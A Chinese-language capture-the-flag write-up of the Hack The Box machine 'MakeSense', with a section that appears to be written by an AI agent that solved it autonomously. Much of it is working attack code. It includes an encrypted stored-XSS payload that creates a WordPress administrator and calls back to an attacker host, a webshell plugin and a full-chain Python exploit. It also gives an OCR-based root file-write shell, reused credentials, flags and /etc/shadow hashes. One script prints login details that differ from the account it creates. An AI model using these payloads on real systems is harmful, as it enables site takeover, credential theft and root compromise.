基本信息

端口扫描

22,443,80是filtered:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ nmap -sC -sV -Pn 10.129.4.18
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-11 22:20 +0900
Nmap scan report for 10.129.4.18
Host is up (0.084s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 27:c3:7d:10:17:3b:dc:29:cf:05:83:33:ab:28:d0:38 (ECDSA)
|_ 256 a3:46:f2:d7:1f:43:41:31:35:a2:88:31:ff:2a:0b:22 (ED25519)
80/tcp filtered http
443/tcp open ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=makesense.htb
| Not valid before: 2026-05-29T16:37:29
|_Not valid after: 2126-05-05T16:37:29
|_http-title: Agency LLC
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-generator: WordPress 7.0
| tls-alpn:
|_ http/1.1
8001/tcp filtered vcom-tunnel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.82 seconds

443

WebAgency:

根据页面源码,知道是wordpress,并且添加hosts:

1
10.129.4.18 makesense.htb

Whisper

系统有两种联系方式,一种是普通文本表单,另一种是语音留言,语音留言消息是被加密的,前端js中硬编码了加密密钥:

1
2
3
https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js?ver=1.0

const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';

流程为两个 admin-ajax.php 动作:

  1. action=submit_contact_form(匿名 nonce 4c58dec735)→ 返回 post_id
  2. action=save_voice_results(post_id + encrypted_payload)

encrypted_payload 是对 JSON {transcription, summary} 的 AES-GCM 加密:key = SHA-256(ENCRYPTION_KEY),12 字节 IV 前置,整体 base64。服务端解密后存储,供后台 admin 审核。前端 applySymbolMapping 会把内容拼成 HTML(如 <script>)——即存储型 XSS。由于密钥硬编码,可绕过录音直接伪造任意 HTML 载荷。

具体脚本可以直接交给AI

XSS创建管理员后登录(注意脚本中xss实际创建的用户名和密码,和输出不一样的)

exploit_wav.py

copy from discord:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
import json, base64, os, requests, re
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
import urllib3
urllib3.disable_warnings()

TARGET = "https://makesense.htb/wp-admin/admin-ajax.php"
ENCRYPTION_KEY = "bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI"
LHOST = "10.10.15.11"

# Derive AES key via SHA-256
digest = hashes.Hash(hashes.SHA256(), backend=default_backend())
digest.update(ENCRYPTION_KEY.encode())
key_bytes = digest.finalize()

# XSS payload
xss = f"""<script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{{let n=h.match(/name="_wpnonce_create-user" value="([a-f0-9]+)"/)?.[1];if(n){{let b=new URLSearchParams({{action:'createuser','_wpnonce_create-user':n,user_login:'mrrobot',email:'mrrobot@htb.com',pass1:'Robot123!',pass2:'Robot123!',role:'administrator',createuser:'Add New User'}});fetch('/wp-admin/user-new.php',{{method:'POST',headers:{{'Content-Type':'application/x-www-form-urlencoded'}},body:b}}).then(r=>fetch('http://{LHOST}/?done='+r.status))}}}}).catch(e=>console.error(e))</script>"""

payload = {"transcription": xss, "summary": "test"}

# Encrypt with AES-GCM
plaintext = json.dumps(payload).encode()
iv = os.urandom(12)
aesgcm = AESGCM(key_bytes)
ciphertext = aesgcm.encrypt(iv, plaintext, None)
encrypted_payload = base64.b64encode(iv + ciphertext).decode()
print(f"[*] Payload encrypted")

s = requests.Session()
s.verify = False

# Fetch nonce
print("[*] Fetching nonce...")
r = s.get("https://makesense.htb/")
nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', r.text)
if not nonce_match:
nonce = input("[?] Enter nonce manually: ")
else:
nonce = nonce_match.group(1)
print(f"[*] Nonce: {nonce}")

# Step 1: Upload dummy WAV via save_voice_raw to get post_id
print("[*] Uploading dummy WAV via save_voice_raw...")

# Minimal valid WAV (44 bytes header + 2 bytes silence)
def make_wav():
import struct
data_size = 2
wav = b'RIFF'
wav += struct.pack('<I', 36 + data_size)
wav += b'WAVE'
wav += b'fmt '
wav += struct.pack('<I', 16) # chunk size
wav += struct.pack('<H', 1) # PCM
wav += struct.pack('<H', 1) # mono
wav += struct.pack('<I', 16000) # sample rate
wav += struct.pack('<I', 32000) # byte rate
wav += struct.pack('<H', 2) # block align
wav += struct.pack('<H', 16) # bits per sample
wav += b'data'
wav += struct.pack('<I', data_size)
wav += b'\x00\x00'
return wav

wav_bytes = make_wav()

r = s.post(TARGET, files={
'voice_recording': ('voice-message.wav', wav_bytes, 'audio/wav')
}, data={
'action': 'save_voice_raw',
'nonce': nonce
})
print(f"[*] save_voice_raw response: {r.text}")

try:
post_id = r.json()["data"]["post_id"]
print(f"[*] Got post_id: {post_id}")
except:
post_id = input("[?] Enter post_id manually: ")

# Step 2: Send encrypted XSS payload via save_voice_results
print("[*] Sending encrypted XSS payload...")
r = s.post(TARGET, data={
"action": "save_voice_results",
"nonce": nonce,
"post_id": post_id,
"encrypted_payload": encrypted_payload
})
print(f"[*] save_voice_results response: {r.text}")
print(f"\n[*] Waiting for admin bot... listen on port 80")
print(f"[*] Expected: GET /?done=200")
print(f"[*] Then login at https://makesense.htb/wp-login.php with hacker:Hacker123!")

www-data

然后就是常规wordpress管理员获取shell,是www-data:

然后常规翻文件,配置文件中得到walter账号密码:

1
2
3
4
cmd=cat ./wp-config.php

define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );

user flag

得到的walter ssh登录:

提权信息

查看进程发现一个root运行的php服务:

1
2
3
root        1402  0.0  0.0   7340  3584 ?        S    13:15   0:03 /bin/bash /root/.scripts/start_ocr4.sh

root 1408 0.0 0.7 228488 30504 ? S 13:15 0:00 php -S 127.0.0.1:8001 -t /root/ocr4/

这个服务需要认证,walter账号密码可以通过认证:

1
2
3
4
5
curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:8001/
401

curl -s -o /dev/null -w '%{http_code}' -u 'walter:JbhHDAEgXvri3!' http://127.0.0.1:8001/
200

所以直接转发端口出来方便操作:

1
ssh walter@makesense.htb -L 8001:127.0.0.1:8001

就是自己手绘,然后OCR识别的服务:

Tesseract to root

漏洞: 这是个 Tesseract OCR 画布应用。POST canvas_image=data:image/png;base64,... 返回识别文本 + ocr_id;再 POST ocr_id+filename+save_output,把识别文本写入 /root/ocr4/saved/<basename(filename)>(以 root)。filename 仅 basename() 处理,不限制扩展名;而 docroot 由 root 的 php -S 提供服务——写入 .php 即被执行。识别文本内容完全由绘制图片控制 ⇒ 任意 root RCE。

利用: 本地渲染一张图片,使其 OCR 结果恰为 <?php system($_GET[0]);?>(Arial Bold ~80px 可精确还原;用数字键 0 规避 PHP 8.3 裸常量致命错误),上传到目标 /tmp/pz.png.b64:

生成shell png

上传,使其识别,然后触发保存文件,之后访问文件触发执行命令,大概就这个流程

shadow

1
2
3
root:$y$j9T$oBMykAbyiOXMRmKow26tM0$k1tS0gbfGLr/iaC9BiWBsKCkC2G129/fuXrB1NZH9v4:20605:0:99999:7:::
walter:$y$j9T$a2uh7EQC.6xLJwFDk1eN..$LWCFJkjTy2Hqe2qpvMXKy35gQWXhQyKTAYyEEgimEF4:20605:0:99999:7:::
admin:$y$j9T$/LYe2pddj/JHyMJ2OxrTu1$1dijnsIFMoSMX/7I6VLysZWgJj/odHFsPSqcqA/0Qy3:20602:0:99999:7:::

solver.py

copy from discord

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
#!/usr/bin/env python3
"""
MakeSense (HTB) full-chain exploit -> user.txt + root.txt

Chain:
1. Stored XSS via WordPress theme "webagency" (hardcoded AES-GCM key) -> runs in admin bot's browser
2. XSS performs authenticated request -> creates administrator user 'pwn'
3. Login as pwn -> upload malicious plugin -> RCE as www-data
4. Read wp-config.php DB password -> reused as walter's SSH password -> user.txt
5. Internal root OCR service on 127.0.0.1:8001 (same reused creds):
render PHP payload as image -> tesseract OCR writes it to saved/pwn.php (web root, run as root)
-> chmod +s /bin/bash -> `bash -p` -> root.txt

Usage: python3 makesense_pwn.py <TARGET_IP>
Requires: requests, cryptography, Pillow, sshpass, ssh (all present on Kali)
"""
import sys, os, re, json, time, base64, hashlib, socket, subprocess, threading
from http.server import BaseHTTPRequestHandler, HTTPServer

try:
import requests, urllib3
urllib3.disable_warnings()
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from PIL import Image, ImageDraw, ImageFont
except ImportError as e:
sys.exit(f"[-] missing dependency: {e}. pip install requests cryptography pillow")

# ---------------- config ----------------
TARGET = sys.argv[1] if len(sys.argv) > 1 else "10.129.26.222"
VHOST = "makesense.htb"
BASE = f"https://{VHOST}"
LPORT = 8000
AES_KEY = hashlib.sha256(b"bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI").digest() # from whisper-wrapper.js
WPUSER, WPPASS, WPMAIL = "pwn", "Pwn3d!SecureP@ss2026", "pwn@makesense.htb"
ROOT_PAYLOAD = "<?php system('chmod +s /bin/bash'); ?>" # no underscores (tesseract reads '_' as space)
BOT_TIMEOUT = 180

# make requests to makesense.htb hit TARGET (no /etc/hosts edit needed)
_gai = socket.getaddrinfo
socket.getaddrinfo = lambda h, *a, **k: _gai(TARGET if h == VHOST else h, *a, **k)

def log(m): print(m, flush=True)
def ok(m): print(f"\033[92m[+]\033[0m {m}", flush=True)
def info(m): print(f"\033[94m[*]\033[0m {m}", flush=True)
def die(m): sys.exit(f"\033[91m[-]\033[0m {m}")

S = requests.Session(); S.verify = False

# ---------------- attacker IP (for XSS callback) ----------------
def vpn_ip():
for dev in ("tun0", "tun1"):
try:
out = subprocess.check_output(["ip", "-4", "addr", "show", dev], stderr=subprocess.DEVNULL).decode()
m = re.search(r"inet (\d+\.\d+\.\d+\.\d+)", out)
if m: return m.group(1)
except Exception:
pass
# fallback: source IP of route to target
# out = subprocess.check_output(["ip", "route", "get", TARGET]).decode()
# return re.search(r"src (\d+\.\d+\.\d+\.\d+)", out).group(1)
return "10.10.15.11"
LHOST = vpn_ip()

# ---------------- xss.js that creates an admin ----------------
XSS_JS = """
(async () => {{
try {{
const r = await fetch('/wp-admin/user-new.php', {{credentials:'include'}});
const h = await r.text();
const m = h.match(/id="_wpnonce_create-user"[^>]*value="([a-f0-9]+)"/);
if (!m) return;
const b = new URLSearchParams();
b.set('action','createuser'); b.set('_wpnonce_create-user', m[1]);
b.set('_wp_http_referer','/wp-admin/user-new.php');
b.set('user_login','{u}'); b.set('email','{e}');
b.set('pass1','{p}'); b.set('pass1-text','{p}'); b.set('pass2','{p}');
b.set('pw_weak','1'); b.set('role','administrator'); b.set('createuser','Add New User');
await fetch('/wp-admin/user-new.php', {{method:'POST', credentials:'include',
headers:{{'Content-Type':'application/x-www-form-urlencoded'}}, body:b.toString()}});
}} catch(e) {{}}
}})();
""".format(u=WPUSER, e=WPMAIL, p=WPPASS)

def start_listener():
js = XSS_JS.encode()
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/javascript")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers(); self.wfile.write(js)
def log_message(self, *a): pass
srv = HTTPServer(("0.0.0.0", LPORT), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv

# ---------------- WP helpers ----------------
def get_nonce():
r = S.get(f"{BASE}/")
m = re.search(r'"nonce":"([a-f0-9]+)"', r.text)
if not m: die("could not read webagency nonce (is this MakeSense?)")
return m.group(1)

def encrypt(payload):
iv = os.urandom(12)
ct = AESGCM(AES_KEY).encrypt(iv, json.dumps(payload).encode(), None)
return base64.b64encode(iv + ct).decode()

def deliver_xss():
n = get_nonce()
pid = S.post(f"{BASE}/wp-admin/admin-ajax.php", data={
"action": "submit_contact_form", "nonce": n, "name": "a",
"email": "a@a.com", "phone": "1", "message": "hello world"}).json()["data"]["post_id"]
enc = encrypt({"transcription": f'<script src="http://{LHOST}:{LPORT}/x.js"></script>',
"summary": "s"})
S.post(f"{BASE}/wp-admin/admin-ajax.php", data={
"action": "save_voice_results", "nonce": n, "post_id": str(pid),
"encrypted_payload": enc})
return pid

def try_pwn_login():
ss = requests.Session(); ss.verify = False
ss.get(f"{BASE}/wp-login.php")
ss.post(f"{BASE}/wp-login.php", data={
"log": WPUSER, "pwd": WPPASS, "wp-submit": "Log In",
"redirect_to": f"{BASE}/wp-admin/", "testcookie": "1"})
if any("wordpress_logged_in" in c.name for c in ss.cookies):
return ss
return None

# ---------------- plugin RCE ----------------
def build_plugin(path):
import zipfile, io
php = ("<?php\n/*\nPlugin Name: wshell\n*/\n"
"if(isset($_REQUEST['c'])){echo '<pre>';system($_REQUEST['c']);echo '</pre>';}\n")
with zipfile.ZipFile(path, "w") as z:
z.writestr("wshell/wshell.php", php)

def upload_plugin(ss):
r = ss.get(f"{BASE}/wp-admin/plugin-install.php?tab=upload")
nonce = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', r.text).group(1)
zpath = "/tmp/wshell.zip"; build_plugin(zpath)
files = {"pluginzip": ("wshell.zip", open(zpath, "rb"), "application/zip")}
data = {"_wpnonce": nonce, "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
"install-plugin-submit": "Install Now"}
ss.post(f"{BASE}/wp-admin/update.php?action=upload-plugin", files=files, data=data)

def rce(cmd):
r = requests.get(f"{BASE}/wp-content/plugins/wshell/wshell.php",
params={"c": cmd}, verify=False)
return re.sub(r"</?pre>", "", r.text).strip()

# ---------------- OCR image ----------------
def render_payload(text, out):
fonts = ["/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf",
"/usr/share/fonts/truetype/liberation/LiberationMono-Regular.ttf"]
font = next((ImageFont.truetype(f, 64) for f in fonts if os.path.exists(f)), None)
if font is None: die("no monospace font found for OCR payload")
dd = ImageDraw.Draw(Image.new("RGB", (10, 10)))
bb = dd.textbbox((0, 0), text, font=font)
W, H = bb[2] - bb[0] + 80, bb[3] - bb[1] + 80
img = Image.new("RGB", (W, H), "white")
ImageDraw.Draw(img).text((40 - bb[0], 40 - bb[1]), text, fill="black", font=font)
img.save(out)
return "data:image/png;base64," + base64.b64encode(open(out, "rb").read()).decode()

# ---------------- SSH ----------------
def ssh(pw, cmd, timeout=60):
p = subprocess.run(
["sshpass", "-p", pw, "ssh", "-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null", "-o", f"ConnectTimeout=10",
f"walter@{TARGET}", cmd],
capture_output=True, text=True, timeout=timeout)
return p.stdout.strip()

def ssh_stdin(pw, cmd, data, timeout=60):
p = subprocess.run(
["sshpass", "-p", pw, "ssh", "-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null", f"walter@{TARGET}", cmd],
input=data, capture_output=True, text=True, timeout=timeout)
return p.stdout.strip()

# ==================== run ====================
def main():
info(f"target={TARGET} callback={LHOST}:{LPORT}")

# sanity
if "WordPress" not in S.get(f"{BASE}/").text:
die("target does not look like the MakeSense WordPress site")

# --- phase 1: XSS -> admin bot creates 'pwn' ---
info("phase 1: delivering stored XSS, waiting for admin bot to create admin user...")
start_listener()
ss = try_pwn_login()
deadline = time.time() + BOT_TIMEOUT
last = 0
while ss is None and time.time() < deadline:
if time.time() - last > 25:
deliver_xss(); last = time.time()
time.sleep(4)
ss = try_pwn_login()
if ss is None:
die("admin bot did not create the user in time (is the box fresh / bot running?)")
ok(f"WordPress admin acquired: {WPUSER}:{WPPASS}")

# --- phase 2: plugin upload -> www-data RCE ---
info("phase 2: uploading malicious plugin for RCE...")
upload_plugin(ss)
who = rce("id")
if "www-data" not in who: die(f"RCE failed: {who}")
ok(f"RCE as {who}")

# --- phase 3: creds from wp-config -> SSH walter ---
info("phase 3: extracting wp-config DB password (reused for SSH)...")
cfg = rce("cat /var/www/html/wp-config.php")
m = re.search(r"DB_PASSWORD',\s*'([^']+)'", cfg)
if not m: die("could not read DB_PASSWORD from wp-config.php")
WPASS = m.group(1)
ok(f"walter password: {WPASS}")
USER_FLAG = ssh(WPASS, "cat ~/user.txt")
if not re.fullmatch(r"[0-9a-f]{32}", USER_FLAG or ""):
die(f"SSH/user.txt failed: {USER_FLAG!r}")
ok(f"USER FLAG: {USER_FLAG}")

# --- phase 4: root via internal OCR service ---
info("phase 4: abusing root OCR service (127.0.0.1:8001) for arbitrary file write...")
dataurl = render_payload(ROOT_PAYLOAD, "/tmp/mk_suid.png")
ssh_stdin(WPASS, "cat > /tmp/mk_du.txt", dataurl) # push image data-url to target
remote = f'''
set -e
B=http://127.0.0.1:8001; A='walter:{WPASS}'; J=/tmp/mk_cj; rm -f $J
curl -s -u "$A" -c $J -b $J "$B/" --data-urlencode 'canvas_image@/tmp/mk_du.txt' -o /tmp/mk_o1
OCRID=$(grep -oP 'name="ocr_id" value="\\K[^"]+' /tmp/mk_o1)
curl -s -u "$A" -c $J -b $J "$B/" --data-urlencode "ocr_id=$OCRID" \
--data-urlencode 'filename=pwn.php' --data-urlencode 'save_output=Save' -o /tmp/mk_o2
curl -s -u "$A" "$B/saved/pwn.php" >/dev/null # executes as root -> chmod +s /bin/bash
/bin/bash -p -c 'cat /root/root.txt'
'''
ROOT_FLAG = ssh(WPASS, remote)
if not re.fullmatch(r"[0-9a-f]{32}", ROOT_FLAG or ""):
die(f"root step failed: {ROOT_FLAG!r}")
ok(f"ROOT FLAG: {ROOT_FLAG}")

print("\n" + "=" * 48)
print(f" user.txt : {USER_FLAG}")
print(f" root.txt : {ROOT_FLAG}")
print("=" * 48)

if __name__ == "__main__":
main()

参考资料

muteki wp

muteki 全自动25分钟做完:

理解——需要从初始侦察到最终 root 的完整链路。以下是整合团队全部已确认事实的完整 writeup(前半段的 Web 打点由团队确认并记录在共享看板,root 提权段由我本次亲自复现)。


ip-10-129-177 (makesense.htb) 完整 Writeup

0. 侦察

目标 10.129.177.220,开放端口:

  • 22/tcp OpenSSH 9.6p1 (Ubuntu)
  • 443/tcp Apache 2.4.58 ssl/http,TLS 证书 CN=makesense.htb
  • 80/tcp filtered

443 上是 WordPress 站点(标题 “Agency LLC”),使用自定义主题 webagency。将 makesense.htb 加入 hosts 后访问。

1. Stored XSS —— webagency 主题的 Whisper 语音管道

主题内置一条客户端 “语音/联系表单” 管道,前端 whisper-wrapper.js 中硬编码了加密密钥:

1
ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI'

流程为两个 admin-ajax.php 动作:

  1. action=submit_contact_form(匿名 nonce 4c58dec735)→ 返回 post_id
  2. action=save_voice_results(post_id + encrypted_payload)

encrypted_payload 是对 JSON {transcription, summary} 的 AES-GCM 加密:key = SHA-256(ENCRYPTION_KEY),12 字节 IV 前置,整体 base64。服务端解密后存储,供后台 admin 审核。前端 applySymbolMapping 会把内容拼成 HTML(如 <script>)——即存储型 XSS。由于密钥硬编码,可绕过录音直接伪造任意 HTML 载荷。

2. XSS → 创建 WordPress 管理员

一个 admin 机器人(user id=1)会在数秒内自动审核 contact_submission。投递带 <img onerror=eval(atob(...))> 的伪造密文,在 admin 浏览器上下文执行 JS,新建了一个 WP 管理员:

1
svcacct : Wgxq7pQ2zRmL9Xk

登录 wp-admin 成功(拿到 wordpress_logged_in cookie)。

3. WP admin → www-data RCE

用 svcacct 登录后,通过主题编辑器(edit-theme-plugin-file)向 footer.php 写入 PHP webshell:

1
GET https://makesense.htb/?0x=<cmd>   # 输出夹在 _CMDOUT_ / _CMDEND_ 之间

获得 www-data (uid=33) 命令执行,Ubuntu 6.8.0-124,webroot /var/www/html。

4. 凭据复用 → SSH 拿 user.txt

读 wp-config.php(后端为 SQLite,DB 在 wp-content/database/.ht.sqlite):

1
2
DB_USER = 'walter'
DB_PASSWORD = 'JbhHDAEgXvri3!'

系统存在 walter(uid=1000, /bin/bash)。SSH 密码复用成功:

1
2
sshpass -p 'JbhHDAEgXvri3!' ssh walter@10.129.177.220
cat ~/user.txt # db1ddf5b6308753e544ad35665d115bd

5. 本地提权 —— 以 root 运行的 OCR 服务(本次亲自复现)

枚举: sudo -l 无权限,SUID/SGID/caps 均为标准。进程枚举暴露关键点——root 通过 /root/.scripts/start_ocr4.sh 启动了一个 root 身份的 PHP 服务:

1
2
ps -eo user,pid,cmd | grep 8001
# root ... php -S 127.0.0.1:8001 -t /root/ocr4/

认证复用: 该服务的 HTTP Basic Auth(OCR Protected)接受 walter 的密码:

1
curl -s -o /dev/null -w '%{http_code}' -u 'walter:JbhHDAEgXvri3!' http://127.0.0.1:8001/   # 200

漏洞: 这是个 Tesseract OCR 画布应用。POST canvas_image=data:image/png;base64,... 返回识别文本 + ocr_id;再 POST ocr_id+filename+save_output,把识别文本写入 /root/ocr4/saved/<basename(filename)>(以 root)。filename 仅 basename() 处理,不限制扩展名;而 docroot 由 root 的 php -S 提供服务——写入 .php 即被执行。识别文本内容完全由绘制图片控制 ⇒ 任意 root RCE。

利用: 本地渲染一张图片,使其 OCR 结果恰为 <?php system($_GET[0]);?>(Arial Bold ~80px 可精确还原;用数字键 0 规避 PHP 8.3 裸常量致命错误),上传到目标 /tmp/pz.png.b64:

1
2
3
4
5
6
7
8
9
10
11
U='walter:JbhHDAEgXvri3!'
# 1) 识别,取 ocr_id(保持 session cookie)
R=$(curl -s -c /tmp/cj -u "$U" -X POST --data-urlencode 'canvas_image@/tmp/pz.png.b64' http://127.0.0.1:8001/)
OCRID=$(echo "$R" | grep -oE 'ocr_[0-9a-f]+\.[0-9]+' | head -1)
# 2) 保存为 r00t.php
curl -s -b /tmp/cj -u "$U" -X POST \
--data-urlencode "ocr_id=$OCRID" --data-urlencode 'filename=r00t.php' \
--data 'save_output=Save' http://127.0.0.1:8001/ # Saved as: saved/r00t.php
# 3) 触发,root 执行
curl -s -u "$U" 'http://127.0.0.1:8001/saved/r00t.php?0=id'
# uid=0(root) gid=0(root) groups=0(root)

读取战果:

1
2
curl -s -u "$U" 'http://127.0.0.1:8001/saved/r00t.php?0=cat%20/root/root.txt'
curl -s -u "$U" 'http://127.0.0.1:8001/saved/r00t.php?0=cat%20/etc/shadow'

6. 战果

  • user.txt = db1ddf5b6308753e544ad35665d115bd

  • root.txt = 8f437adba18815874e0d619f0668e933

  • /etc/shadow(关键行):

    1
    2
    3
    root:$y$j9T$oBMykAbyiOXMRmKow26tM0$k1tS0gbfGLr/iaC9BiWBsKCkC2G129/fuXrB1NZH9v4:20605:0:99999:7:::
    walter:$y$j9T$a2uh7EQC.6xLJwFDk1eN..$LWCFJkjTy2Hqe2qpvMXKy35gQWXhQyKTAYyEEgimEF4:20605:0:99999:7:::
    admin:$y$j9T$/LYe2pddj/JHyMJ2OxrTu1$1dijnsIFMoSMX/7I6VLysZWgJj/odHFsPSqcqA/0Qy3:20602:0:99999:7:::

完整链路: 硬编码 AES 密钥伪造语音密文 → 存储型 XSS → admin 机器人建 WP 管理员 → 主题编辑器写 webshell(www-data)→ wp-config 凭据复用 SSH(walter, user.txt)→ root 身份 OCR 服务任意扩展名文件写入 → PHP webshell RCE(root, root.txt)。

说明: 第 1–4 步的 Web 打点由团队协作确认并记录在共享看板;第 5 步的 root 提权为本会话我亲自枚举并复现。若你希望我对前 4 步中的某个环节(如 XSS 载荷构造或主题编辑器 webshell)再实机验证一遍,我可以单独补做。